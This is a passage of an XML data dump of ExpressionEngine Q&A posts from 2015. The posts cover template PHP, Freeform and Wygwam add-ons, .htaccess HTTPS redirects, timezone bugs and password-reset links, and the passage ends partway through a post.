  <row Id="34112" PostTypeId="2" ParentId="34107" CreationDate="2015-09-22T13:07:03.250" Score="1" Body="&lt;p&gt;As with what @foamcow said, this is generally a bad idea, especially if you're new to PHP or ExpressionEngine in general. I'm providing you an example, but I highly recommend against going this route. &lt;strong&gt;You do so at your own risk&lt;/strong&gt;. Understanding the differences between &lt;code&gt;input&lt;/code&gt; and &lt;code&gt;output&lt;/code&gt; parsing is huge, and it sounds like you are new to these concepts. Please revise your question and expand on what you are trying to accomplish, and we can probably give you a safer answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the template in question, set it's PHP parsing to &lt;code&gt;Output&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/templates/php.html&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/templates/php.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, in your template code, you can use this code to grab that value:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// grab cart_total, cast to int&#xA;$my_php_var = (int) &quot;{exp:cartthrob:cart_total}&quot;;&#xA;&#xA;// what **are** you trying to do, anyways? let's add 10&#xA;$my_php_var += 10;&#xA;&#xA;echo $my_php_var&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Again, we highly recommend &lt;strong&gt;not&lt;/strong&gt; going this route.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-09-22T13:07:03.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34113" PostTypeId="1" AcceptedAnswerId="34114" CreationDate="2015-09-22T13:21:09.193" Score="1" ViewCount="187" Body="&lt;p&gt;We've inherited a site that has hundreds of categories in a large number of groups. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We're working on the templates and many times need to see what a category ID actually is and &lt;em&gt;where&lt;/em&gt; it is. So far it's kind of cumbersome to trawl through all the groups every time looking for each one.... is there a plug for the CP that can list all the Categories outside of their groups in sequential order? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the best way of quickly matching these IDs to the cat name?&lt;/p&gt;&#xA;" OwnerUserId="2748" LastActivityDate="2015-09-22T15:16:02.837" Title="Quick and easy way to get category name from ID" Tags="|categories|control-panel|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34114" PostTypeId="2" ParentId="34113" CreationDate="2015-09-22T15:16:02.837" Score="5" Body="&lt;p&gt;Try this free extension from the mighty Low!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://gotolow.com/addons/low-seg2cat/docs&quot; rel=&quot;noreferrer&quot;&gt;http://gotolow.com/addons/low-seg2cat/docs&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Working with categories? Then you need Low Seg2Cat. This extension&#xA;  will give you information about categories present in the URI, in the&#xA;  form of early parsed global variables. No more PHP in your templates&#xA;  just to retrieve a category ID, no more awkward category keyword&#xA;  identifier in your URIs, all the category info you need comes straight&#xA;  from your segments. Oh, and it’s free.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="11" LastActivityDate="2015-09-22T15:16:02.837" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34115" PostTypeId="2" ParentId="30156" CreationDate="2015-09-22T15:44:17.543" Score="0" Body="&lt;p&gt;I got the same error when submitting a form to update a product entry without actually including/updating the store field(s) (i.e. just updating the title / other custom fields).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found that the stock_level field is required. Adding the following to my form fixed the PHP error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:product entry_id='{segment:offer_entry_id}' disable_form='yes' disable_javascript='yes'}&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;store_product_field[stock][0][stock_level]&quot; value=&quot;{if track_stock}{total_stock}{/if}&quot;&amp;gt;&#xA;{/exp:store:product}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that I'm getting the entry_id for the {exp:store:product} tag from a URL segment; you'll probably want to get it from somewhere else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, my products don't have modifiers. This may not work for products that do.&lt;/p&gt;&#xA;" OwnerUserId="2515" LastActivityDate="2015-09-22T15:44:17.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34116" PostTypeId="2" ParentId="30788" CreationDate="2015-09-22T17:12:54.447" Score="0" Body="&lt;p&gt;Have you taken a look at CE Image? It can do on the fly rotating of images: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-image/user-guide/parameters#rotate&quot; rel=&quot;nofollow&quot;&gt;http://www.causingeffect.com/software/expressionengine/ce-image/user-guide/parameters#rotate&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3701" LastActivityDate="2015-09-22T17:12:54.447" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34118" PostTypeId="2" ParentId="34008" CreationDate="2015-09-22T20:46:17.297" Score="0" Body="&lt;p&gt;One method would be to use an .htaccess RewriteRule to make URI's that look like that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; http://www.psreducators.com/agent-profile/?u=[user-profile-name]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to be rewritten like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; http://www.psreducators.com/agent-profile/[user-profile-name]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For this, you would use a RewriteRule. Here is an example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^agent-profile.php\/?u=(.*)$ agent-profile.php/$1/ [L,NC,R=301]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will capture anything after the &lt;code&gt;u=&lt;/code&gt; GET param, and the place it in the &lt;code&gt;$1&lt;/code&gt; of the second param of the rewrite. It will be a permanent redirect (R=301), it will ignore case when matching (remove the NC of the flags if you don't want that), and if this is matched, the .htaccess file will not bother trying any rules after it (L[ast]). This is untested, but should get you going.&lt;/p&gt;&#xA;" OwnerUserId="6686" LastEditorUserId="3579" LastEditDate="2015-09-22T23:02:36.650" LastActivityDate="2015-09-22T23:02:36.650" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34121" PostTypeId="1" CreationDate="2015-09-23T12:47:34.750" Score="1" ViewCount="498" Body="&lt;p&gt;Is there an easy way to apply classes to Freeform Pro form elements in composer mode?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have gone through several SO posts (&amp;amp; blog posts including &lt;a href=&quot;http://ibevanmeenen.me/pages/articles/freeform-pro-templates&quot; rel=&quot;nofollow noreferrer&quot;&gt;this helpful one&lt;/a&gt;) however haven't been able to find a solution to cover all elements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The general suggestion appears to be:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Replace&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{composer:field_output}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;With&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{freeform:field:{composer:field_name} attr:class=&quot;form-control&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which works well until you get to &lt;code&gt;&amp;lt;select&amp;gt;&lt;/code&gt; &amp;amp; other HTML elements:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/LYwSA.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/LYwSA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The orange highlight is where a select field type should be and the red is a random tag that I can't seem to work out where it's coming from...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way I can get all elements to display correctly is by using the standard syntax &quot;&lt;code&gt;{composer:field_output}&lt;/code&gt;&quot; and then jQuery to add classes to elements:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/O3cZ8.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/O3cZ8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//jQuery&#xA;$('.composer-form input[type=&quot;text&quot;],.composer-form select,.composer-form textarea').addClass(&quot;form-control&quot;);&#xA;$('.composer-form input[type=&quot;submit&quot;]').addClass(&quot;btn btn-primary&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If there isn't an easy way to apply relevant classes to elements using conditional statements, I will stick with the jQuery option however I really hope it's something simply I am missing in my composer template (see below for the template code).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help, advice or insight will be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Composer (Bootstrap 3) template&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;form-group composer-form&quot;&amp;gt;&#xA;{composer:page}&#xA;    {composer:rows}&#xA;            &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;        {composer:columns}&#xA;                &amp;lt;div class=&quot;{if composer:column_total == 1}col-md-12{/if}{if composer:column_total == 2}col-md-6{/if}{if composer:column_total == 3}col-md-4{/if}{if composer:column_total == 4}col-md-3{/if}&quot;&amp;gt;&#xA;                {if composer:field_total == 0}&#xA;&#xA;                {/if}&#xA;            {composer:fields}&#xA;                {if composer:field_label}&#xA;                    {if composer:field_type == 'nonfield_captcha'}&#xA;                        {if freeform:captcha}&#xA;                        &amp;lt;p&amp;gt;&#xA;                            &amp;lt;strong&amp;gt;{composer:field_label}&amp;lt;/strong&amp;gt;&#xA;                        &amp;lt;/p&amp;gt;&#xA;                        {/if}&#xA;                    {if:else}&#xA;                        &amp;lt;label class=&quot;field_label&quot; {if composer:field_name != ''}for=&quot;freeform_{composer:field_name}&quot;{/if}&amp;gt;&#xA;                            {composer:field_label}{if composer:field_required} &amp;lt;span class=&quot;required_item&quot;&amp;gt;*&amp;lt;/span&amp;gt;{/if}&#xA;                        &amp;lt;/label&amp;gt;&#xA;                    {/if}&#xA;                {/if}&#xA;                {if composer:field_output}&#xA;                    {if composer:field_type == 'nonfield_captcha'}&#xA;                        {if freeform:captcha}&#xA;                                {freeform:captcha}&amp;lt;br /&amp;gt;&#xA;                                &amp;lt;input type=&quot;text&quot; name=&quot;captcha&quot; value=&quot;&quot; size=&quot;20&quot; maxlength=&quot;20&quot; style=&quot;width:140px;&quot; /&amp;gt;&#xA;                        {/if}&#xA;&#xA;                    {if:else}&#xA;&#xA;                        {freeform:field:{composer:field_name} attr:class=&quot;form-control&quot;}&#xA;&#xA;                    {/if}&#xA;                {/if}&#xA;            {/composer:fields}&#xA;                &amp;lt;/div&amp;gt;&#xA;        {/composer:columns}&#xA;            &amp;lt;/div&amp;gt;&#xA;    {/composer:rows}&#xA;{/composer:page}&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1158" LastEditorUserId="1158" LastEditDate="2015-09-23T12:53:11.697" LastActivityDate="2022-07-07T15:06:10.613" Title="Freeform Pro Composer Templates - add class to input/select/checkboxes" Tags="|solspace-freeform|solspace|composer|composer-template|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34122" PostTypeId="2" ParentId="32891" CreationDate="2015-09-23T13:00:43.793" Score="1" Body="&lt;p&gt;I finally solved it by completely uninstalling the Wygwam module! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Follow the following steps to do it safely:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Make a dump of your database, so you can restore data if needed.&#xA;You also need this, to restore Wygwam configurations.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Also make sure you have an example of the Wygwam configurations, so you can verify if the configurations are correct. I had an example on my development environment.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Change the name of field_type of channel_fields in your database with a sql-query, so it will be safe to delete the module:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE &lt;code&gt;exp_channel_fields&lt;/code&gt;&#xA;SET field_type = 'wygwam-2'&#xA;WHERE field_type = 'wygwam';&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Uninstall the module in add-on-&gt;modules&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Remove the module from your file system. Don't forget to also delete Wygwam from the themes folder.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Empty the cache in tools-&gt;data-&gt;empty cache&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add the latest version of Wygwam to your file system&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Go to add-on-&gt;modules and install Wygwam&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Restore the name of the Wygwam fields with a sql-query:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE &lt;code&gt;exp_channel_fields&lt;/code&gt;&#xA;SET field_type = 'wygwam'&#xA;WHERE field_type = 'wygwam-2';&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Take and perform the piece of code from you sql-dump to restore the exp_wygwam_configs table.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Check the Wygwam configurations in the CMS. If needed adjust settings.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;And you are all set.&lt;/p&gt;&#xA;" OwnerUserId="6205" LastActivityDate="2015-09-23T13:00:43.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34123" PostTypeId="1" AcceptedAnswerId="34124" CreationDate="2015-09-23T14:15:08.363" Score="0" ViewCount="34" Body="&lt;p&gt;I have this PHP code in one template (contact.html):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    $on  = 830;&#xA;    $off = 1730;&#xA;    $now = intval(date(&quot;Gi&quot;));&#xA;    echo &quot;&amp;lt;!-- &quot;.$now.&quot;-&quot;.$on.&quot;-&quot;.$off.&quot; --&amp;gt;&quot;;&#xA;    if($now &amp;gt; $on &amp;amp;&amp;amp; $now &amp;lt; $off) {&#xA;?&amp;gt;&#xA;    &amp;lt;!-- the HTML I want to hide by time is located here --&amp;gt;&#xA;&amp;lt;?php&#xA;    }&#xA;?&amp;gt;    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and this code in another template (footer.html) that is embedded in the contact template above:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{segment_1}&quot; == &quot;contact&quot;}&#xA;&amp;lt;?php&#xA;    $on  = 0830;&#xA;    $off = 1530;&#xA;    $now = intval(date(&quot;Gi&quot;));&#xA;    echo &quot;&amp;lt;!-- &quot;.$now.&quot;-&quot;.$on.&quot;-&quot;.$off.&quot; --&amp;gt;&quot;;&#xA;    if($now &amp;gt; $on &amp;amp;&amp;amp; $now &amp;lt; $off) {&#xA;?&amp;gt;&#xA;    &amp;lt;!-- the HTML I want to hide by time is located here --&amp;gt;&#xA;&amp;lt;?php&#xA;    } &#xA;?&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you see, I echo out the values in both templates. When I load the page at 7:08am, I get this comment in the code for the contact template and the html is hidden just like planned:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- 708-830-1730 --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But in the code in the footer template, I get this comment and the html shows instead of being hidden:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- 1208-830-1730 --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why the differences???&lt;/p&gt;&#xA;" OwnerUserId="1725" LastActivityDate="2015-09-23T14:23:06.320" Title="Issue with PHP reading times in template" Tags="|templates|php|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34124" PostTypeId="2" ParentId="34123" CreationDate="2015-09-23T14:23:06.320" Score="1" Body="&lt;p&gt;Is this on a load balanced server solution? Have you doubled checked that both the agent and the CLI php.ini files have the same setting for time zone? Try using this command before both date grabs (set it to your local timezone):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;date_default_timezone_set('America/Los_Angeles');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Do you start seeing consistent reporting? If so, it's likely an inconsistency in timezone settings somewhere. Especially since the time difference is exactly 5 hour, I would bet that's your issue. &lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-09-23T14:23:06.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34125" PostTypeId="1" AcceptedAnswerId="34127" CreationDate="2015-09-23T15:37:46.857" Score="0" ViewCount="55" Body="&lt;p&gt;I have a section of my site where users login and can create and edit profiles. Theses profiles are edited through a channel form and are behind a login.&#xA;I have moved this section of the site over to https recently and it all works ok but my issue is the member login &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:member:login_form return=&quot;staff/index&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is insecure and give the user a browser prompt stating that before login.Is there a way to secure this login &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1485" LastActivityDate="2015-09-23T15:42:01.470" Title="Secure Https Channel form login" Tags="|safecracker|members|login|ssl|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34126" PostTypeId="1" AcceptedAnswerId="34128" CreationDate="2015-09-23T15:41:46.867" Score="0" ViewCount="29" Body="&lt;p&gt;In a custom extension, can I make a settings field required to have a value without having a create a custom form using settings_form()?&lt;/p&gt;&#xA;" OwnerUserId="1311" LastActivityDate="2015-09-23T16:03:13.080" Title="expression engine extension development - make a field required" Tags="|add-on-development|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34127" PostTypeId="2" ParentId="34125" CreationDate="2015-09-23T15:42:01.470" Score="0" Body="&lt;p&gt;There are many ways to force HTTPS. If you have a valid certificate, you really should force your entire site to use the protocol, the &lt;strong&gt;only&lt;/strong&gt; reason not to is if you need to support very very legacy devices (think old dumb phones). In your .htaccess file, &lt;strong&gt;before&lt;/strong&gt; your index.php rewrite, add something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{HTTPS} off&#xA;RewriteRule ^(.*)$ https://%{HTTP_HOST}/$1 [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you &lt;strong&gt;really&lt;/strong&gt; just want to force it on one page, you can add a condition like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{HTTPS} off&#xA;RewriteCond %{REQUEST_URI} \/staff\/index [NC]&#xA;RewriteRule ^(.*)$ https://%{HTTP_HOST}/$1 [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will only force the &lt;code&gt;staff/index&lt;/code&gt; base URI to use the HTTPS protocol. &lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-09-23T15:42:01.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34128" PostTypeId="2" ParentId="34126" CreationDate="2015-09-23T16:03:13.080" Score="1" Body="&lt;p&gt;Not really, no. You could force front-end validation by crafting an Accessory and making those fields have a &quot;required&quot; attribute, but you're best bet is to just use the &lt;code&gt;settings_form()&lt;/code&gt; functionality. It's not hard, just follow the guide!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/extensions.html#built-in-settings-form-and-processing&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/development/extensions.html#built-in-settings-form-and-processing&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an alternative to making fields &quot;required&quot;, you could only set settings that are radio fields or select fields, and have defaults. It's really not the same, but I'm not sure what you're requirements are.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-09-23T16:03:13.080" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34129" PostTypeId="1" CreationDate="2015-09-23T16:05:14.107" Score="0" ViewCount="75" Body="&lt;p&gt;Is it possible to move the themes folder above the root?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using MSM and want to move the folder away from the main site.&lt;/p&gt;&#xA;" OwnerUserId="3335" LastActivityDate="2016-06-13T08:50:09.627" Title="Themes folder above root" Tags="|config|themes|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34130" PostTypeId="2" ParentId="34129" CreationDate="2015-09-23T16:13:22.080" Score="0" Body="&lt;p&gt;How would that make sense? For EE to function, it needs a resolvable URI to access the contents of that file. If you don't have an accessible folder for this setting:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;URL to your &quot;themes&quot; folder&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Your site won't function. Technically, if you're on Linux, you might be able to move it above root, but have a symlink to the folder path. I can only imagine that you have FTP users who's home is the web root, and you don't want them messing with the themes folder.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ln -s /path/to/new/themes_location /var/www/html/themes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-09-23T16:13:22.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34131" PostTypeId="1" CreationDate="2015-09-23T16:13:43.463" Score="0" ViewCount="105" Body="&lt;p&gt;I have client who is uploading files with lots of naming issues; Spaces, dots, parenthesis, and other characters in the filenames.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to strip out the special characters, automatically, upon upload?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance.&lt;/p&gt;&#xA;" OwnerUserId="1530" LastActivityDate="2016-06-15T03:49:13.987" Title="Can Assets rename files on upload?" Tags="|assets|pixelandtonic|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34132" PostTypeId="2" ParentId="34131" CreationDate="2015-09-23T16:18:25.280" Score="0" Body="&lt;p&gt;Your best bet would be to make an extension that hits this hook:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://docs.pixelandtonic.com/assets/developers/hooks/upload_file.html&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And renames the file after upload. I would check the File helper to see if it can rename files:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://ellislab.com/codeigniter/user-guide/helpers/file_helper.html&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If not you'll have to do it in pure PHP:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://php.net/manual/en/function.rename.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Be warned; after rename the file, you'll need to use the database class to update all Assets rows that have the file name of your original file, and update them with the new file name. Also probably the EE files table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually, at this point, you could honestly just hack the Assets core. I highly &lt;strong&gt;do not&lt;/strong&gt; recommend doing that, but it would work for now. just regex out anything that isn't alpah-numeric.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-09-23T16:18:25.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34133" PostTypeId="1" AcceptedAnswerId="34136" CreationDate="2015-09-23T16:50:13.743" Score="1" ViewCount="65" Body="&lt;p&gt;I want to implement Authorize.net (AIM) to take credit cards on site and PayPal Express to give a customer the option to pay off site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Preferably there would be a column to pay by credit card and column that asks if the user would like to Use PayPal Express.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would I need 2 forms to do so? Can I have two Checkout forms on one page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would the basic code setup look like for this?&lt;/p&gt;&#xA;" OwnerUserId="6687" LastActivityDate="2015-09-23T17:25:10.833" Title="Expresso Store + Two Payment Forms" Tags="|expresso-store|expresso|payment-gateway|paypal|paypal-express-checkout|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34134" PostTypeId="1" CreationDate="2015-09-23T16:56:43.593" Score="0" ViewCount="208" Body="&lt;p&gt;The problem I'm having is that the data in my Grid field is not influencing the search results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have two channels, one of which has a grid field. The field and the relevant row are both marked as searchable. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've created two Collections, one for each channel, where the weight of the grid field is set to 3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My template code doesn't use a collections parameter, so I believe it should search both channels?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, the entries were there before I marked the fields as searchable, but I've since re-saved one entry so that it would populate the exp_channel_data table, and re-indexed the Collection so that I could test the search, but I'm still not getting that entry in the results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have I missed something else?&lt;/p&gt;&#xA;" OwnerUserId="332" LastActivityDate="2016-06-10T12:59:17.467" Title="Searching a grid field with Low Search" Tags="|grid|low-search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34135" PostTypeId="1" CreationDate="2015-09-23T17:20:03.103" Score="0" ViewCount="141" Body="&lt;p&gt;We want the email sent with the reset link, but the link being sent is giving an error: &quot;The form you submitted contained the following errors&#xA;The password reset token does not appear to be valid. Please check the link you followed.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Link sent: &lt;a href=&quot;http://XXXXX?ACT=17&amp;amp;id=&quot; rel=&quot;nofollow&quot;&gt;http://XXXXX?ACT=17&amp;amp;id=&lt;/a&gt;{resetcode}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE2.10.1&#xA;Email sent using Freemember&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a row in the &quot;exp_reset_password&quot; table that has the resetcode exactly matching the one in the email.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FORM CODE:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freemember:forgot_password form:id=&quot;forgotPasswordForm&quot; return=&quot;profile/forgot_sent&quot;}&#xA;    &amp;lt;div class=&quot;step&quot; id=&quot;step1&quot; data-step=&quot;1&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;pg-lo-header&quot;&amp;gt;LOGIN&amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;pg-lo-body&quot;&amp;gt;&#xA;            &amp;lt;strong&amp;gt;Forgot password?&amp;lt;/strong&amp;gt;&amp;lt;br/&amp;gt;&amp;lt;br/&amp;gt;&#xA;            &amp;lt;div class=&quot;pg-sing-lable&quot;&amp;gt;Tell us your email address and we will send you a temporary password.  You can choose a new password when you login.&amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;field-wrapper row&quot;&amp;gt;&#xA;                &amp;lt;input type=&quot;email&quot; name=&quot;email&quot; id=&quot;email&quot; placeholder=&quot;Email&quot; class=&quot;required&quot; value=&quot;{email}&quot;&amp;gt;&amp;lt;br /&amp;gt;&#xA;                {if &quot;{error:email}&quot; != &quot;&quot;}&amp;lt;div class=&quot;errorMsg&quot;&amp;gt;{email} does not exist.&amp;lt;/div&amp;gt;{/if}&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;po-popup-btns&quot;&amp;gt;&#xA;              &amp;lt;a class=&quot;btn btn-reset-password&quot; id=&quot;close&quot; href=&quot;javascript:void(0);&quot;&amp;gt;SEND EMAIL&amp;lt;/a&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;step hide&quot; id=&quot;step2&quot; data-step=&quot;2&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;pg-lo-header&quot;&amp;gt;LOGIN&amp;lt;/div&amp;gt;&#xA;            